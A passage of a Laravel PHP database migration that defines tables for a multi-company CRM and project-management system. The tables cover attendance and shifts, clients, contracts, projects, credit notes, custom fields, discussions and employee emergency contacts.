$table->foreign(['estimate_id'])->references(['id'])->on('estimates')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->string('full_name'); $table->string('email'); $table->string('signature'); $table->timestamps(); }); Schema::create('employee_shifts', function (Blueprint $table) { $table->bigIncrements('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->string('shift_name'); $table->string('shift_short_code'); $table->string('color'); $table->time('office_start_time'); $table->time('office_end_time'); $table->time('halfday_mark_time')->nullable(); $table->tinyInteger('late_mark_duration'); $table->tinyInteger('clockin_in_day'); $table->text('office_open_days'); $table->timestamps(); }); Schema::create('attendance_settings', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->enum('auto_clock_in', ['yes', 'no'])->default('no'); $table->time('office_start_time'); $table->time('office_end_time'); $table->time('halfday_mark_time')->nullable(); $table->tinyInteger('late_mark_duration'); $table->integer('clockin_in_day')->default(1); $table->enum('employee_clock_in_out', ['yes', 'no'])->default('yes'); $table->string('office_open_days')->default('[1,2,3,4,5]'); $table->text('ip_address')->nullable(); $table->integer('radius')->nullable(); $table->enum('radius_check', ['yes', 'no'])->default('no'); $table->enum('ip_check', ['yes', 'no'])->default('no'); $table->integer('alert_after')->nullable(); $table->boolean('alert_after_status')->default(true); $table->boolean('save_current_location')->default(false); $table->unsignedBigInteger('default_employee_shift')->nullable()->default(1)->index('attendance_settings_default_employee_shift_foreign'); $table->foreign(['default_employee_shift'])->references(['id'])->on('employee_shifts')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->string('week_start_from')->default('1'); $table->boolean('allow_shift_change')->default(true); $table->enum('show_clock_in_button', ['yes', 'no'])->default('no'); $table->timestamps(); }); Schema::create('company_addresses', function (Blueprint $table) { $table->bigIncrements('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->mediumText('address'); $table->boolean('is_default'); $table->string('tax_number')->nullable(); $table->string('tax_name')->nullable(); $table->string('location')->nullable(); $table->timestamps(); }); Schema::create('attendances', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->unsignedInteger('user_id')->index('attendances_user_id_foreign'); $table->unsignedBigInteger('location_id')->nullable()->index('attendances_location_id_foreign'); $table->dateTime('clock_in_time')->index(); $table->dateTime('clock_out_time')->nullable()->index(); $table->string('clock_in_ip'); $table->string('clock_out_ip')->nullable(); $table->string('working_from')->default('office'); $table->enum('late', ['yes', 'no'])->default('no'); $table->enum('half_day', ['yes', 'no']); $table->unsignedInteger('added_by')->nullable()->index('attendances_added_by_foreign'); $table->unsignedInteger('last_updated_by')->nullable()->index('attendances_last_updated_by_foreign'); $table->decimal('latitude', 10, 8)->nullable(); $table->decimal('longitude', 11, 8)->nullable(); $table->dateTime('shift_start_time')->nullable(); $table->dateTime('shift_end_time')->nullable(); $table->unsignedBigInteger('employee_shift_id')->nullable()->index('attendances_employee_shift_id_foreign'); $table->foreign(['added_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['employee_shift_id'])->references(['id'])->on('employee_shifts')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['last_updated_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['location_id'])->references(['id'])->on('company_addresses')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['user_id'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->timestamps(); }); Schema::create('client_categories', function (Blueprint $table) { $table->bigIncrements('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->string('category_name'); $table->timestamps(); }); Schema::create('client_contacts', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->unsignedInteger('user_id')->index('client_contacts_user_id_foreign'); $table->string('contact_name'); $table->string('phone')->nullable(); $table->string('email')->nullable(); $table->string('title')->nullable(); $table->unsignedInteger('added_by')->nullable()->index('client_contacts_added_by_foreign'); $table->unsignedInteger('last_updated_by')->nullable()->index('client_contacts_last_updated_by_foreign'); $table->foreign(['added_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['last_updated_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['user_id'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->timestamps(); }); Schema::create('client_sub_categories', function (Blueprint $table) { $table->bigIncrements('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->unsignedBigInteger('category_id')->index('client_sub_categories_category_id_foreign'); $table->foreign(['category_id'])->references(['id'])->on('client_categories')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->string('category_name'); $table->timestamps(); }); Schema::create('client_details', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->unsignedInteger('user_id')->index('client_details_user_id_foreign'); $table->string('company_name')->nullable(); $table->text('address')->nullable(); $table->text('shipping_address')->nullable(); $table->string('postal_code')->nullable(); $table->string('state')->nullable(); $table->string('city')->nullable(); $table->string('office')->nullable(); $table->string('website')->nullable(); $table->text('note')->nullable(); $table->string('linkedin')->nullable(); $table->string('facebook')->nullable(); $table->string('twitter')->nullable(); $table->string('skype')->nullable(); $table->string('gst_number')->nullable(); $table->unsignedBigInteger('category_id')->nullable()->index('client_details_category_id_foreign'); $table->unsignedBigInteger('sub_category_id')->nullable()->index('client_details_sub_category_id_foreign'); $table->unsignedInteger('added_by')->nullable()->index('client_details_added_by_foreign'); $table->unsignedInteger('last_updated_by')->nullable()->index('client_details_last_updated_by_foreign'); $table->foreign(['added_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['category_id'])->references(['id'])->on('client_categories')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['last_updated_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['sub_category_id'])->references(['id'])->on('client_sub_categories')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['user_id'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->timestamps(); }); Schema::create('client_docs', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->unsignedInteger('user_id')->index('client_docs_user_id_foreign'); $table->string('name', 200); $table->string('filename', 200); $table->string('hashname', 200); $table->string('size', 200)->nullable(); $table->unsignedInteger('added_by')->nullable()->index('client_docs_added_by_foreign'); $table->unsignedInteger('last_updated_by')->nullable()->index('client_docs_last_updated_by_foreign'); $table->foreign(['added_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['last_updated_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['user_id'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->timestamps(); }); Schema::create('client_notes', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->unsignedInteger('client_id')->nullable()->index('client_notes_client_id_foreign'); $table->string('title'); $table->boolean('type')->default(false); $table->unsignedInteger('member_id')->nullable()->index('client_notes_member_id_foreign'); $table->boolean('is_client_show')->default(false); $table->boolean('ask_password')->default(false); $table->longText('details'); $table->unsignedInteger('added_by')->nullable()->index('client_notes_added_by_foreign'); $table->unsignedInteger('last_updated_by')->nullable()->index('client_notes_last_updated_by_foreign'); $table->foreign(['added_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['client_id'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['last_updated_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['member_id'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->timestamps(); }); Schema::create('client_user_notes', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->unsignedInteger('user_id')->index('client_user_notes_user_id_foreign'); $table->unsignedInteger('client_note_id')->index('client_user_notes_client_note_id_foreign'); $table->foreign(['client_note_id'])->references(['id'])->on('client_notes')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['user_id'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->timestamps(); }); Schema::create('contract_types', function (Blueprint $table) { $table->bigIncrements('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->string('name'); $table->timestamps(); }); Schema::create('contracts', function (Blueprint $table) { $table->bigIncrements('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->unsignedInteger('client_id')->index('contracts_client_id_foreign'); $table->string('subject'); $table->string('amount'); $table->decimal('original_amount', 15); $table->unsignedBigInteger('contract_type_id')->nullable()->index('contracts_contract_type_id_foreign'); $table->date('start_date'); $table->date('original_start_date'); $table->date('end_date')->nullable(); $table->date('original_end_date')->nullable(); $table->longText('description')->nullable(); $table->string('contract_name')->nullable(); $table->string('company_logo')->nullable(); $table->string('alternate_address')->nullable(); $table->string('cell')->nullable(); $table->string('office')->nullable(); $table->string('city')->nullable(); $table->string('state')->nullable(); $table->string('country')->nullable(); $table->string('postal_code')->nullable(); $table->longText('contract_detail')->nullable(); $table->unsignedInteger('added_by')->nullable()->index('contracts_added_by_foreign'); $table->unsignedInteger('last_updated_by')->nullable()->index('contracts_last_updated_by_foreign'); $table->text('hash')->nullable(); $table->unsignedInteger('currency_id')->nullable()->index('contracts_currency_id_foreign'); $table->foreign(['added_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['client_id'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['contract_type_id'])->references(['id'])->on('contract_types')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['currency_id'])->references(['id'])->on('currencies')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['last_updated_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->text('event_id')->nullable(); $table->timestamps(); }); Schema::create('contract_discussions', function (Blueprint $table) { $table->bigIncrements('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->unsignedBigInteger('contract_id')->index('contract_discussions_contract_id_foreign'); $table->unsignedInteger('from')->index('contract_discussions_from_foreign'); $table->longText('message'); $table->unsignedInteger('added_by')->nullable()->index('contract_discussions_added_by_foreign'); $table->unsignedInteger('last_updated_by')->nullable()->index('contract_discussions_last_updated_by_foreign'); $table->foreign(['added_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['contract_id'])->references(['id'])->on('contracts')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['from'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['last_updated_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->timestamps(); }); Schema::create('contract_files', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->unsignedInteger('user_id')->index('contract_files_user_id_foreign'); $table->unsignedBigInteger('contract_id')->index('contract_files_contract_id_foreign'); $table->string('filename'); $table->string('hashname'); $table->string('size'); $table->string('google_url'); $table->string('dropbox_link'); $table->string('external_link_name'); $table->string('external_link'); $table->text('description')->nullable(); $table->unsignedInteger('added_by')->nullable()->index('contract_files_added_by_foreign'); $table->unsignedInteger('last_updated_by')->nullable()->index('contract_files_last_updated_by_foreign'); $table->foreign(['added_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['contract_id'])->references(['id'])->on('contracts')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['last_updated_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['user_id'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->timestamps(); }); Schema::create('contract_renews', function (Blueprint $table) { $table->bigIncrements('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->unsignedInteger('renewed_by')->index('contract_renews_renewed_by_foreign'); $table->unsignedBigInteger('contract_id')->index('contract_renews_contract_id_foreign'); $table->date('start_date'); $table->date('end_date'); $table->decimal('amount', 12); $table->unsignedInteger('added_by')->nullable()->index('contract_renews_added_by_foreign'); $table->unsignedInteger('last_updated_by')->nullable()->index('contract_renews_last_updated_by_foreign'); $table->foreign(['added_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['contract_id'])->references(['id'])->on('contracts')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['last_updated_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['renewed_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->timestamps(); }); Schema::create('contract_signs', function (Blueprint $table) { $table->bigIncrements('id'); $table->unsignedBigInteger('contract_id')->index('contract_signs_contract_id_foreign'); $table->foreign(['contract_id'])->references(['id'])->on('contracts')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->string('full_name'); $table->string('email'); $table->string('signature'); $table->timestamps(); }); Schema::create('conversation', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->unsignedInteger('user_one')->index('conversation_user_one_foreign'); $table->unsignedInteger('user_two')->index('conversation_user_two_foreign'); $table->timestamps(); }); Schema::create('conversation_reply', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->unsignedInteger('conversation_id')->index('conversation_reply_conversation_id_foreign'); $table->text('reply'); $table->unsignedInteger('user_id')->index('conversation_reply_user_id_foreign'); $table->foreign(['conversation_id'])->references(['id'])->on('conversation')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['user_id'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->timestamps(); }); Schema::create('project_category', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->string('category_name'); $table->unsignedInteger('added_by')->nullable()->index('project_category_added_by_foreign'); $table->unsignedInteger('last_updated_by')->nullable()->index('project_category_last_updated_by_foreign'); $table->foreign(['added_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['last_updated_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->timestamps(); }); Schema::create('teams', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->string('team_name'); $table->unsignedInteger('added_by')->nullable()->index('teams_added_by_foreign'); $table->unsignedInteger('last_updated_by')->nullable()->index('teams_last_updated_by_foreign'); $table->foreign(['added_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['last_updated_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->timestamps(); }); Schema::create('projects', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->string('project_name'); $table->longText('project_summary')->nullable(); $table->unsignedInteger('project_admin')->nullable()->index('projects_project_admin_foreign'); $table->date('start_date'); $table->date('deadline')->nullable(); $table->longText('notes')->nullable(); $table->unsignedInteger('category_id')->nullable()->index('projects_category_id_foreign'); $table->unsignedInteger('client_id')->nullable()->index('projects_client_id_foreign'); $table->unsignedInteger('team_id')->nullable()->index('projects_team_id_foreign'); $table->mediumText('feedback')->nullable(); $table->enum('manual_timelog', ['enable', 'disable'])->default('disable'); $table->enum('client_view_task', ['enable', 'disable'])->default('disable'); $table->enum('allow_client_notification', ['enable', 'disable'])->default('disable'); $table->tinyInteger('completion_percent'); $table->enum('calculate_task_progress', ['true', 'false'])->default('true'); $table->double('project_budget', 20, 2)->nullable(); $table->unsignedInteger('currency_id')->nullable()->index('projects_currency_id_foreign'); $table->double('hours_allocated', 8, 2)->nullable(); $table->enum('status', ['not started', 'in progress', 'on hold', 'canceled', 'finished', 'under review'])->default('in progress'); $table->unsignedInteger('added_by')->nullable()->index('projects_added_by_foreign'); $table->unsignedInteger('last_updated_by')->nullable()->index('projects_last_updated_by_foreign'); $table->foreign(['added_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['category_id'])->references(['id'])->on('project_category')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['client_id'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['currency_id'])->references(['id'])->on('currencies')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['last_updated_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['project_admin'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['team_id'])->references(['id'])->on('teams')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->text('hash')->nullable(); $table->boolean('public'); $table->timestamps(); $table->softDeletes()->index(); }); Schema::create('credit_notes', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->unsignedInteger('project_id')->nullable()->index('credit_notes_project_id_foreign'); $table->unsignedInteger('client_id')->nullable()->index('credit_notes_client_id_foreign'); $table->string('cn_number'); $table->unsignedInteger('invoice_id')->nullable(); $table->date('issue_date'); $table->date('due_date'); $table->double('discount')->default(0); $table->enum('discount_type', ['percent', 'fixed'])->default('percent'); $table->double('sub_total', 15, 2); $table->double('total', 15, 2); $table->double('adjustment_amount', 8, 2)->nullable(); $table->unsignedInteger('currency_id')->nullable()->index('credit_notes_currency_id_foreign'); $table->enum('status', ['closed', 'open'])->default('open'); $table->enum('recurring', ['yes', 'no'])->default('no'); $table->string('billing_frequency')->nullable(); $table->integer('billing_interval')->nullable(); $table->integer('billing_cycle')->nullable(); $table->string('file')->nullable(); $table->string('file_original_name')->nullable(); $table->text('note')->nullable(); $table->softDeletes(); $table->unsignedInteger('added_by')->nullable()->index('credit_notes_added_by_foreign'); $table->unsignedInteger('last_updated_by')->nullable()->index('credit_notes_last_updated_by_foreign'); $table->foreign(['added_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['client_id'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['currency_id'])->references(['id'])->on('currencies')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['last_updated_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['project_id'])->references(['id'])->on('projects')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->enum('calculate_tax', ['after_discount', 'before_discount'])->default('after_discount'); $table->timestamps(); }); Schema::create('credit_note_items', function (Blueprint $table) { $table->increments('id'); $table->unsignedInteger('credit_note_id')->index('credit_note_items_credit_note_id_foreign'); $table->foreign(['credit_note_id'])->references(['id'])->on('credit_notes')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->string('item_name'); $table->enum('type', ['item', 'discount', 'tax'])->default('item'); $table->integer('quantity'); $table->double('unit_price', 8, 2); $table->double('amount', 8, 2); $table->string('taxes')->nullable(); $table->string('hsn_sac_code')->nullable(); $table->text('item_summary')->nullable(); $table->timestamps(); }); Schema::create('credit_note_item_images', function (Blueprint $table) { $table->increments('id'); $table->unsignedInteger('credit_note_item_id')->index('credit_note_item_images_credit_note_item_id_foreign'); $table->foreign(['credit_note_item_id'])->references(['id'])->on('credit_note_items')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->string('filename')->nullable(); $table->string('hashname')->nullable(); $table->string('size')->nullable(); $table->string('external_link')->nullable(); $table->timestamps(); }); Schema::create('currency_format_settings', function (Blueprint $table) { $table->bigIncrements('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->enum('currency_position', ['left', 'right', 'left_with_space', 'right_with_space'])->default('left'); $table->unsignedInteger('no_of_decimal'); $table->string('thousand_separator')->nullable(); $table->string('decimal_separator')->nullable(); }); Schema::create('custom_field_groups', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->string('name'); $table->string('model')->nullable()->index(); }); Schema::create('custom_fields', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->unsignedInteger('custom_field_group_id')->nullable()->index('custom_fields_custom_field_group_id_foreign'); $table->foreign(['custom_field_group_id'])->references(['id'])->on('custom_field_groups')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->string('label', 100); $table->string('name', 100); $table->string('type', 10); $table->enum('required', ['yes', 'no'])->default('no'); $table->string('values', 5000)->nullable(); $table->boolean('export')->nullable()->default(false); }); Schema::create('custom_fields_data', function (Blueprint $table) { $table->increments('id'); $table->unsignedInteger('custom_field_id')->index('custom_fields_data_custom_field_id_foreign'); $table->unsignedInteger('model_id'); $table->foreign(['custom_field_id'])->references(['id'])->on('custom_fields')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->string('model')->nullable()->index(); $table->string('value', 10000); }); Schema::create('dashboard_widgets', function (Blueprint $table) { $table->bigIncrements('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->string('widget_name'); $table->boolean('status')->default(true); $table->string('dashboard_type')->nullable(); $table->timestamps(); }); Schema::create('database_backup_cron_settings', function (Blueprint $table) { $table->bigIncrements('id'); $table->enum('status', ['active', 'inactive'])->default('inactive'); $table->time('hour_of_day')->nullable(); $table->string('backup_after_days')->nullable(); $table->string('delete_backup_after_days')->nullable(); }); Schema::create('database_backups', function (Blueprint $table) { $table->bigIncrements('id'); $table->string('filename')->nullable(); $table->string('size')->nullable(); $table->dateTime('created_at')->nullable(); }); Schema::create('designations', function (Blueprint $table) { $table->bigIncrements('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->string('name'); $table->unsignedInteger('added_by')->nullable()->index('designations_added_by_foreign'); $table->unsignedInteger('last_updated_by')->nullable()->index('designations_last_updated_by_foreign'); $table->foreign(['added_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['last_updated_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->timestamps(); }); Schema::create('discussion_categories', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->integer('order')->default(1); $table->string('name'); $table->string('color', 20); $table->timestamps(); }); Schema::create('discussion_replies', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->unsignedInteger('discussion_id')->index('discussion_replies_discussion_id_foreign'); $table->unsignedInteger('user_id')->index('discussion_replies_user_id_foreign'); $table->longText('body'); $table->softDeletes(); $table->timestamps(); }); Schema::create('discussions', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->unsignedInteger('discussion_category_id')->nullable()->default(1)->index('discussions_discussion_category_id_foreign'); $table->unsignedInteger('project_id')->nullable()->index('discussions_project_id_foreign'); $table->string('title'); $table->string('color', 20)->nullable()->default('#232629'); $table->unsignedInteger('user_id')->index('discussions_user_id_foreign'); $table->boolean('pinned')->default(false); $table->boolean('closed')->default(false); $table->softDeletes(); $table->timestamp('last_reply_at')->useCurrent(); $table->unsignedInteger('best_answer_id')->nullable()->index('discussions_best_answer_id_foreign'); $table->unsignedInteger('last_reply_by_id')->nullable()->index('discussions_last_reply_by_id_foreign'); $table->unsignedInteger('added_by')->nullable()->index('discussions_added_by_foreign'); $table->unsignedInteger('last_updated_by')->nullable()->index('discussions_last_updated_by_foreign'); $table->timestamps(); }); Schema::table('discussion_replies', function (Blueprint $table) { $table->foreign(['discussion_id'])->references(['id'])->on('discussions')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['user_id'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); }); Schema::table('discussions', function (Blueprint $table) { $table->foreign(['added_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['best_answer_id'])->references(['id'])->on('discussion_replies')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['discussion_category_id'])->references(['id'])->on('discussion_categories')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['last_reply_by_id'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['last_updated_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['project_id'])->references(['id'])->on('projects')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['user_id'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); }); Schema::create('discussion_files', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->unsignedInteger('user_id')->index('discussion_files_user_id_foreign'); $table->unsignedInteger('discussion_id')->nullable()->index('discussion_files_discussion_id_foreign'); $table->unsignedInteger('discussion_reply_id')->nullable()->index('discussion_files_discussion_reply_id_foreign'); $table->foreign(['discussion_id'])->references(['id'])->on('discussions')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['discussion_reply_id'])->references(['id'])->on('discussion_replies')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['user_id'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->string('filename'); $table->text('description')->nullable(); $table->string('google_url')->nullable(); $table->string('hashname')->nullable(); $table->string('size')->nullable(); $table->string('dropbox_link')->nullable(); $table->string('external_link_name')->nullable(); $table->timestamps(); }); Schema::create('email_notification_settings', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->string('slug')->nullable(); $table->string('setting_name'); $table->enum('send_email', ['yes', 'no'])->default('no'); $table->enum('send_slack', ['yes', 'no'])->default('no'); $table->enum('send_push', ['yes', 'no'])->default('no'); $table->timestamps(); }); Schema::create('emergency_contacts', function (Blueprint $table) { $table->bigIncrements('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->unsignedInteger('user_id')->index('emergency_contacts_user_id_foreign'); $table->string('name')->nullable(); $table->string('email')->nullable(); $table->string('mobile')->nullable(); $table->string('relation')->nullable(); $table->string('address')->nullable(); $table->unsignedInteger('added_by')->nullable()->index('emergency_contacts_added_by_foreign'); $table->unsignedInteger('last_updated_by')->nullable()->index('emergency_contacts_last_updated_by_foreign'); $table->foreign(['added_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['last_updated_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['user_id'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->timestamps(); }); Schema::create('employee_details', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); 